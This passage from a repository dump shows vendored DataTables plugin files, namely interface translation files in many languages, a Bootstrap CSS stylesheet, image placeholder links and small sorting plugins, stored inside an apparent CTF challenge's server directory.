12 | "sInfo": "Näytetään rivit _START_ - _END_ (yhteensä _TOTAL_ )",
13 | "sInfoEmpty": "Näytetään 0 - 0 (yhteensä 0)",
14 | "sInfoFiltered": "(suodatettu _MAX_ tuloksen joukosta)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Etsi:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Ensimmäinen",
20 | "sPrevious": "Edellinen",
21 | "sNext": "Seuraava",
22 | "sLast": "Viimeinen"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Georgian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Georgian translation
3 | * @name Georgian
4 | * @anchor Georgian
5 | * @author Mikheil Nadareishvili
6 | */
7 |
8 | {
9 | "sProcessing": "მიმდინარეობს დამუშავება...",
10 | "sLengthMenu": "აჩვენე _MENU_ ჩანაწერი",
11 | "sZeroRecords": "არაფერი მოიძებნა",
12 | "sInfo": "ნაჩვენებია ჩანაწერები _START_–დან _END_–მდე, სულ _TOTAL_ ჩანაწერია",
13 | "sInfoEmpty": "ნაჩვენებია ჩანაწერები 0–დან 0–მდე, სულ 0 ჩანაწერია",
14 | "sInfoFiltered": "(გაფილტრული შედეგი _MAX_ ჩანაწერიდან)",
15 | "sInfoPostFix": "",
16 | "sSearch": "ძიება:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "პირველი",
20 | "sPrevious": "წინა",
21 | "sNext": "შემდეგი",
22 | "sLast": "ბოლო"
23 | }
24 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Greek.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Greek translation
3 | * @name Greek
4 | * @anchor Greek
5 | * @author Abraam Ziogas
6 | */
7 |
8 | {
9 | "sProcessing": "Επεξεργασία...",
10 | "sLengthMenu": "Δείξε _MENU_ εγγραφές",
11 | "sZeroRecords": "Δεν βρέθηκαν εγγραφές που να ταιριάζουν",
12 | "sInfo": "Δείχνοντας _START_ εως _END_ από _TOTAL_ εγγραφές",
13 | "sInfoEmpty": "Δείχνοντας 0 εως 0 από 0 εγγραφές",
14 | "sInfoFiltered": "(φιλτραρισμένες από _MAX_ συνολικά εγγραφές)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Αναζήτηση:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Πρώτη",
20 | "sPrevious": "Προηγούμενη",
21 | "sNext": "Επόμενη",
22 | "sLast": "Τελευταία"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Hebrew.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Hebrew translation
3 | * @name Hebrew
4 | * @anchor Hebrew
5 | * @author Neil Osman (WW3)
6 | */
7 |
8 | {
9 | "sProcessing": "מעבד...",
10 | "sLengthMenu": "הצג _MENU_ פריטים",
11 | "sZeroRecords": "לא נמצאו רשומות מתאימות",
12 | "sInfo": "_START_ עד _END_ מתוך _TOTAL_ רשומות" ,
13 | "sInfoEmpty": "0 עד 0 מתוך 0 רשומות",
14 | "sInfoFiltered": "(מסונן מסך _MAX_ רשומות)",
15 | "sInfoPostFix": "",
16 | "sSearch": "חפש:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "ראשון",
20 | "sPrevious": "קודם",
21 | "sNext": "הבא",
22 | "sLast": "אחרון"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Hindi.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Hindi translation
3 | * @name Hindi
4 | * @anchor Hindi
5 | * @author Outshine Solutions
6 | */
7 |
8 | {
9 | "sProcessing": "प्रगति पे हैं ...",
10 | "sLengthMenu": " _MENU_ प्रविष्टियां दिखाएं ",
11 | "sZeroRecords": "रिकॉर्ड्स का मेल नहीं मिला",
12 | "sInfo": "_START_ to _END_ of _TOTAL_ प्रविष्टियां दिखा रहे हैं",
13 | "sInfoEmpty": "0 में से 0 से 0 प्रविष्टियां दिखा रहे हैं",
14 | "sInfoFiltered": "(_MAX_ कुल प्रविष्टियों में से छठा हुआ)",
15 | "sInfoPostFix": "",
16 | "sSearch": "खोजें:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "प्रथम",
20 | "sPrevious": "पिछला",
21 | "sNext": "अगला",
22 | "sLast": "अंतिम"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Indonesian-Alternative.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Indonesian translation
3 | * @name Indonesian
4 | * @anchor Indonesian
5 | * @author Landung Wahana
6 | */
7 |
8 | {
9 | "sProcessing": "Sedang proses...",
10 | "sLengthMenu": "Tampilan _MENU_ entri",
11 | "sZeroRecords": "Tidak ditemukan data yang sesuai",
12 | "sInfo": "Tampilan _START_ sampai _END_ dari _TOTAL_ entri",
13 | "sInfoEmpty": "Tampilan 0 hingga 0 dari 0 entri",
14 | "sInfoFiltered": "(disaring dari _MAX_ entri keseluruhan)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Cari:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Awal",
20 | "sPrevious": "Balik",
21 | "sNext": "Lanjut",
22 | "sLast": "Akhir"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Indonesian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Indonesian translation
3 | * @name Indonesian
4 | * @anchor Indonesian
5 | * @author Cipto Hadi
6 | */
7 |
8 | {
9 | "sProcessing": "Sedang memproses...",
10 | "sLengthMenu": "Tampilkan _MENU_ entri",
11 | "sZeroRecords": "Tidak ditemukan data yang sesuai",
12 | "sInfo": "Menampilkan _START_ sampai _END_ dari _TOTAL_ entri",
13 | "sInfoEmpty": "Menampilkan 0 sampai 0 dari 0 entri",
14 | "sInfoFiltered": "(disaring dari _MAX_ entri keseluruhan)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Cari:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Pertama",
20 | "sPrevious": "Sebelumnya",
21 | "sNext": "Selanjutnya",
22 | "sLast": "Terakhir"
23 | }
24 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Irish.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Irish translation
3 | * @name Irish
4 | * @anchor Irish
5 | * @author Lets Be Famous Journal
6 | */
7 |
8 | {
9 | "sProcessing": "Próiseáil...",
10 | "sLengthMenu": "Taispeáin iontrálacha _MENU_",
11 | "sZeroRecords": "Gan aon taifead meaitseáil aimsithe",
12 | "sInfo": "_START_ Showing a _END_ na n-iontrálacha _TOTAL_",
13 | "sInfoEmpty": "Showing 0-0 na n-iontrálacha 0",
14 | "sInfoFiltered": "(scagtha ó _MAX_ iontrálacha iomlán)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Cuardaigh:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "An Chéad",
20 | "sPrevious": "Roimhe Seo",
21 | "sNext": "Ar Aghaidh",
22 | "sLast": "Last"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Japanese.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Japanese translation
3 | * @name Japanese
4 | * @anchor Japanese
5 | * @author yusuke
6 | */
7 |
8 | {
9 | "sProcessing": "処理中...",
10 | "sLengthMenu": "_MENU_ 件表示",
11 | "sZeroRecords": "データはありません。",
12 | "sInfo": " _TOTAL_ 件中 _START_ から _END_ まで表示",
13 | "sInfoEmpty": " 0 件中 0 から 0 まで表示",
14 | "sInfoFiltered": "(全 _MAX_ 件より抽出)",
15 | "sInfoPostFix": "",
16 | "sSearch": "検索:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "先頭",
20 | "sPrevious": "前",
21 | "sNext": "次",
22 | "sLast": "最終"
23 | }
24 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Korean.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Korean translation
3 | * @name Korean
4 | * @anchor Korean
5 | * @author WonGoo Lee
6 | */
7 |
8 | {
9 | "sEmptyTable": "데이터가 없습니다",
10 | "sInfo": "_START_ - _END_ / _TOTAL_",
11 | "sInfoEmpty": "0 - 0 / 0",
12 | "sInfoFiltered": "(총 _MAX_ 개)",
13 | "sInfoPostFix": "",
14 | "sInfoThousands": ",",
15 | "sLengthMenu": "페이지당 줄수 _MENU_",
16 | "sLoadingRecords": "읽는중...",
17 | "sProcessing": "처리중...",
18 | "sSearch": "검색:",
19 | "sZeroRecords": "검색 결과가 없습니다",
20 | "oPaginate": {
21 | "sFirst": "처음",
22 | "sLast": "마지막",
23 | "sNext": "다음",
24 | "sPrevious": "이전"
25 | },
26 | "oAria": {
27 | "sSortAscending": ": 오름차순 정렬",
28 | "sSortDescending": ": 내림차순 정렬"
29 | }
30 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Latvian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Latvian translation
3 | * @name Latvian
4 | * @anchor Latvian
5 | * @author Oskars Podans
6 | */
7 |
8 | {
9 | "sProcessing": "Uzgaidiet...",
10 | "sLengthMenu": "Rādīt _MENU_ ierakstus",
11 | "sZeroRecords": "Nav atrasti vaicājumam atbilstoši ieraksti",
12 | "sInfo": "Parādīti _START_. līdz _END_. no _TOTAL_ ierakstiem",
13 | "sInfoEmpty": "Nav ierakstu",
14 | "sInfoFiltered": "(atlasīts no pavisam _MAX_ ierakstiem)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Meklēt:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Pirmā",
20 | "sPrevious": "Iepriekšējā",
21 | "sNext": "Nākošā",
22 | "sLast": "Pēdējā"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Lithuanian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Lithuanian translation
3 | * @name Lithuanian
4 | * @anchor Lithuanian
5 | * @author Kęstutis Morkūnas
6 | */
7 |
8 | {
9 | "sProcessing": "Apdorojama...",
10 | "sLengthMenu": "Rodyti _MENU_ įrašus",
11 | "sZeroRecords": "Įrašų nerasta",
12 | "sInfo": "Rodomi įrašai nuo _START_ iki _END_ iš _TOTAL_ įrašų",
13 | "sInfoEmpty": "Rodomi įrašai nuo 0 iki 0 iš 0",
14 | "sInfoFiltered": "(atrinkta iš _MAX_ įrašų)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Ieškoti:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Pirmas",
20 | "sPrevious": "Ankstesnis",
21 | "sNext": "Tolimesnis",
22 | "sLast": "Paskutinis"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Macedonian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Macedonian translation
3 | * @name Macedonian
4 | * @anchor Macedonian
5 | * @author Bojan Petkovski
6 | */
7 |
8 | {
9 | "sProcessing": "Процесирање...",
10 | "sLengthMenu": "Прикажи _MENU_ записи",
11 | "sZeroRecords": "Не се пронајдени записи",
12 | "sEmptyTable": "Нема податоци во табелата",
13 | "sLoadingRecords": "Вчитување...",
14 | "sInfo": "Прикажани _START_ до _END_ од _TOTAL_ записи",
15 | "sInfoEmpty": "Прикажани 0 до 0 од 0 записи",
16 | "sInfoFiltered": "(филтрирано од вкупно _MAX_ записи)",
17 | "sInfoPostFix": "",
18 | "sSearch": "Барај",
19 | "sUrl": "",
20 | "oPaginate": {
21 | "sFirst": "Почетна",
22 | "sPrevious": "Претходна",
23 | "sNext": "Следна",
24 | "sLast": "Последна"
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Norwegian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Norwegian translation
3 | * @name Norwegian
4 | * @anchor Norwegian
5 | * @author Petter Ekrann
6 | */
7 |
8 | {
9 | "sProcessing": "Laster...",
10 | "sLengthMenu": "Vis _MENU_ linjer",
11 | "sZeroRecords": "Ingen linjer matcher søket",
12 | "sInfo": "Viser _START_ til _END_ av _TOTAL_ linjer",
13 | "sInfoEmpty": "Viser 0 til 0 av 0 linjer",
14 | "sInfoFiltered": "(filtrert fra _MAX_ totalt antall linjer)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Søk:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Første",
20 | "sPrevious": "Forrige",
21 | "sNext": "Neste",
22 | "sLast": "Siste"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Persian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Persian translation
3 | * @name Persian
4 | * @anchor Persian
5 | * @author Ehsan Chavoshi
6 | */
7 |
8 | {
9 | "sProcessing": "درحال پردازش...",
10 | "sLengthMenu": "نمایش محتویات _MENU_",
11 | "sZeroRecords": "موردی یافت نشد",
12 | "sInfo": "نمایش _START_ تا _END_ از مجموع _TOTAL_ مورد",
13 | "sInfoEmpty": "تهی",
14 | "sInfoFiltered": "(فیلتر شده از مجموع _MAX_ مورد)",
15 | "sInfoPostFix": "",
16 | "sSearch": "جستجو:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "ابتدا",
20 | "sPrevious": "قبلی",
21 | "sNext": "بعدی",
22 | "sLast": "انتها"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Portuguese.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Portuguese translation
3 | * @name Portuguese
4 | * @anchor Portuguese
5 | * @author Nuno Felicio
6 | */
7 |
8 | {
9 | "sProcessing": "A processar...",
10 | "sLengthMenu": "Mostrar _MENU_ registos",
11 | "sZeroRecords": "Não foram encontrados resultados",
12 | "sInfo": "Mostrando de _START_ até _END_ de _TOTAL_ registos",
13 | "sInfoEmpty": "Mostrando de 0 até 0 de 0 registos",
14 | "sInfoFiltered": "(filtrado de _MAX_ registos no total)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Procurar:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Primeiro",
20 | "sPrevious": "Anterior",
21 | "sNext": "Seguinte",
22 | "sLast": "Último"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Romanian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Romanian translation
3 | * @name Romanian
4 | * @anchor Romanian
5 | * @author Alexandru Jurubita
6 | */
7 |
8 | {
9 | "sProcessing": "Proceseaza...",
10 | "sLengthMenu": "Afiseaza _MENU_ inregistrari pe pagina",
11 | "sZeroRecords": "Nu am gasit nimic - ne pare rau",
12 | "sInfo": "Afisate de la _START_ la _END_ din _TOTAL_ inregistrari",
13 | "sInfoEmpty": "Afisate de la 0 la 0 din 0 inregistrari",
14 | "sInfoFiltered": "(filtrate dintr-un total de _MAX_ inregistrari)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Cauta:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Prima",
20 | "sPrevious": "Precedenta",
21 | "sNext": "Urmatoarea",
22 | "sLast": "Ultima"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Serbian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Serbian translation (Latin alphabet)
3 | * @name Serbian (Latin)
4 | * @anchor Serbian (Latin)
5 | * @author Marko Novakovic
6 | */
7 |
8 | {
9 | "sProcessing": "Procesiranje u toku...",
10 | "sLengthMenu": "Prikaži _MENU_ elemenata",
11 | "sZeroRecords": "Nije pronađen nijedan rezultat",
12 | "sInfo": "Prikaz _START_ do _END_ od ukupno _TOTAL_ elemenata",
13 | "sInfoEmpty": "Prikaz 0 do 0 od ukupno 0 elemenata",
14 | "sInfoFiltered": "(filtrirano od ukupno _MAX_ elemenata)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Pretraga:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Početna",
20 | "sPrevious": "Prethodna",
21 | "sNext": "Sledeća",
22 | "sLast": "Poslednja"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Slovenian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Slovenian translation
3 | * @name Slovenian
4 | * @anchor Slovenian
5 | * @author Marko Kroflic, Blaž Brenčič and Andrej Florjančič
6 | */
7 |
8 | {
9 | "sEmptyTable": "Nobenih podatkov ni na voljo",
10 | "sInfo": "Prikazujem _START_ do _END_ od _TOTAL_ zapisov",
11 | "sInfoEmpty": "Prikazujem 0 do 0 od 0 zapisov",
12 | "sInfoFiltered": "(filtrirano od _MAX_ vseh zapisov)",
13 | "sInfoPostFix": "",
14 | "sInfoThousands": ",",
15 | "sLengthMenu": "Prikaži _MENU_ zapisov",
16 | "sLoadingRecords": "Nalagam...",
17 | "sProcessing": "Obdelujem...",
18 | "sSearch": "Išči:",
19 | "sZeroRecords": "Nobeden zapis ne ustreza",
20 | "oPaginate": {
21 | "sFirst": "Prvi",
22 | "sLast": "Zadnji",
23 | "sNext": "Nasl.",
24 | "sPrevious": "Pred."
25 | },
26 | "oAria": {
27 | "sSortAscending": ": vključite za naraščujoči sort",
28 | "sSortDescending": ": vključite za padajoči sort"
29 | }
30 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Thai.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Thai translation
3 | * @name Thai
4 | * @anchor Thai
5 | * @author Thanva Thonglor
6 | */
7 |
8 | {
9 | "sProcessing": "กำลังดำเนินการ...",
10 | "sLengthMenu": "แสดง_MENU_ แถว",
11 | "sZeroRecords": "ไม่พบข้อมูล",
12 | "sInfo": "แสดง _START_ ถึง _END_ จาก _TOTAL_ แถว",
13 | "sInfoEmpty": "แสดง 0 ถึง 0 จาก 0 แถว",
14 | "sInfoFiltered": "(กรองข้อมูล _MAX_ ทุกแถว)",
15 | "sInfoPostFix": "",
16 | "sSearch": "ค้นหา:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "เิริ่มต้น",
20 | "sPrevious": "ก่อนหน้า",
21 | "sNext": "ถัดไป",
22 | "sLast": "สุดท้าย"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Turkish.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Turkish translation
3 | * @name Turkish
4 | * @anchor Turkish
5 | * @author Umit Gorkem
6 | */
7 |
8 | {
9 | "sProcessing": "İşleniyor...",
10 | "sLengthMenu": "Sayfada _MENU_ Kayıt Göster",
11 | "sZeroRecords": "Eşleşen Kayıt Bulunmadı",
12 | "sInfo": " _TOTAL_ Kayıttan _START_ - _END_ Arası Kayıtlar",
13 | "sInfoEmpty": "Kayıt Yok",
14 | "sInfoFiltered": "( _MAX_ Kayıt İçerisinden Bulunan)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Bul:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "İlk",
20 | "sPrevious": "Önceki",
21 | "sNext": "Sonraki",
22 | "sLast": "Son"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Ukranian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Ukranian translation
3 | * @name Ukranian
4 | * @anchor Ukranian
5 | * @author antyrat
6 | */
7 |
8 | {
9 | "sProcessing": "Зачекайте...",
10 | "sLengthMenu": "Показати _MENU_ записів",
11 | "sZeroRecords": "Записи відсутні.",
12 | "sInfo": "Записи з _START_ по _END_ із _TOTAL_ записів",
13 | "sInfoEmpty": "Записи з 0 по 0 із 0 записів",
14 | "sInfoFiltered": "(відфільтровано з _MAX_ записів)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Пошук:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Перша",
20 | "sPrevious": "Попередня",
21 | "sNext": "Наступна",
22 | "sLast": "Остання"
23 | },
24 | "oAria": {
25 | "sSortAscending": ": активувати для сортування стовпців за зростанням",
26 | "sSortDescending": ": активувати для сортування стовпців за спаданням"
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Urdu.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Urdu translation
3 | * @name Urdu
4 | * @anchor Urdu
5 | * @author Zafar Subzwari
6 | */
7 |
8 | {
9 | "sProcessing": "ہے جاري عملدرامد...",
10 | "sLengthMenu": "دکہائين شقيں کي (_MENU_) فہرست",
11 | "sZeroRecords": "ملے نہيں مفروضات جلتے ملتے کوئ",
12 | "sInfo": "فہرست کي تک _END_ سے _START_ سے ميں _TOTAL_ فہرست پوري ہے نظر پيش",
13 | "sInfoEmpty": "فہرست کي تک 0 سے 0 سے ميں 0 قل ہے نظر پيشّ",
14 | "sInfoFiltered": "(فہرست ہوئ چھني سے ميں _MAX_ قل)",
15 | "sInfoPostFix": "",
16 | "sSearch": "کرو تلاش:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "پہلا",
20 | "sPrevious": "پچہلا",
21 | "sNext": "اگلا",
22 | "sLast": "آخري"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Vietnamese.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Vietnamese translation
3 | * @name Vietnamese
4 | * @anchor Vietnamese
5 | * @author Trinh Phuoc Thai
6 | */
7 |
8 | {
9 | "sProcessing": "Đang xử lý...",
10 | "sLengthMenu": "Xem _MENU_ mục",
11 | "sZeroRecords": "Không tìm thấy dòng nào phù hợp",
12 | "sInfo": "Đang xem _START_ đến _END_ trong tổng số _TOTAL_ mục",
13 | "sInfoEmpty": "Đang xem 0 đến 0 trong tổng số 0 mục",
14 | "sInfoFiltered": "(được lọc từ _MAX_ mục)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Tìm:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Đầu",
20 | "sPrevious": "Trước",
21 | "sNext": "Tiếp",
22 | "sLast": "Cuối"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/1/dataTables.bootstrap.css:
--------------------------------------------------------------------------------
1 | div.dataTables_length label {
2 | width: 460px;
3 | float: left;
4 | text-align: left;
5 | }
6 |
7 | div.dataTables_length select {
8 | width: 75px;
9 | }
10 |
11 | div.dataTables_filter label {
12 | float: right;
13 | width: 460px;
14 | }
15 |
16 | div.dataTables_info {
17 | padding-top: 8px;
18 | }
19 |
20 | div.dataTables_paginate {
21 | float: right;
22 | margin: 0;
23 | }
24 |
25 | table {
26 | margin: 1em 0;
27 | clear: both;
28 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_asc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_asc.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_asc_disabled.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_asc_disabled.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_both.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_both.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_desc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_desc.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_desc_disabled.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/bootstrap/images/sort_desc_disabled.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_asc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_asc.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_asc_disabled.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_asc_disabled.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_both.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_both.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_desc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_desc.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_desc_disabled.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/integration/foundation/images/sort_desc_disabled.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/alt-string.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Sort on the 'alt' tag of images in a column. This is particularly useful if
3 | * you have a column of images (ticks and crosses for example) and you want to
4 | * control the sorting using the alt tag.
5 | *
6 | * @name Alt string
7 | * @summary Use the `alt` attribute of an image tag as the data to sort upon.
8 | * @author _Jumpy_
9 | *
10 | * @example
11 | * $('#example').dataTable( {
12 | * columnDefs: [
13 | * { type: 'alt-string', targets: 0 }
14 | * ]
15 | * } );
16 | */
17 |
18 | jQuery.extend( jQuery.fn.dataTableExt.oSort, {
19 | "alt-string-pre": function ( a ) {
20 | return a.match(/alt="(.*?)"/)[1].toLowerCase();
21 | },
22 |
23 | "alt-string-asc": function( a, b ) {
24 | return ((a < b) ? -1 : ((a > b) ? 1 : 0));
25 | },
26 |
27 | "alt-string-desc": function(a,b) {
28 | return ((a < b) ? 1 : ((a > b) ? -1 : 0));
29 | }
30 | } );
31 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/custom-data-source/dom-checkbox.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Read information from a column of checkboxes (input elements with type
3 | * checkbox) and return an array to use as a basis for sorting.
4 | *
5 | * @summary Sort based on the checked state of checkboxes in a column
6 | * @name Checkbox data source
7 | * @author [Allan Jardine](http://sprymedia.co.uk)
8 | */
9 |
10 | $.fn.dataTable.ext.order['dom-checkbox'] = function ( settings, col )
11 | {
12 | return this.api().column( col, {order:'index'} ).nodes().map( function ( td, i ) {
13 | return $('input', td).prop('checked') ? '1' : '0';
14 | } );
15 | };
16 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/sorting/custom-data-source/dom-select.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Read information from a column of select (drop down) menus and return an
3 | * array to use as a basis for sorting.
4 | *
5 | * @summary Sort based on the value of the `dt-tag select` options in a column
6 | * @name Select menu data source
7 | * @requires DataTables 1.10+
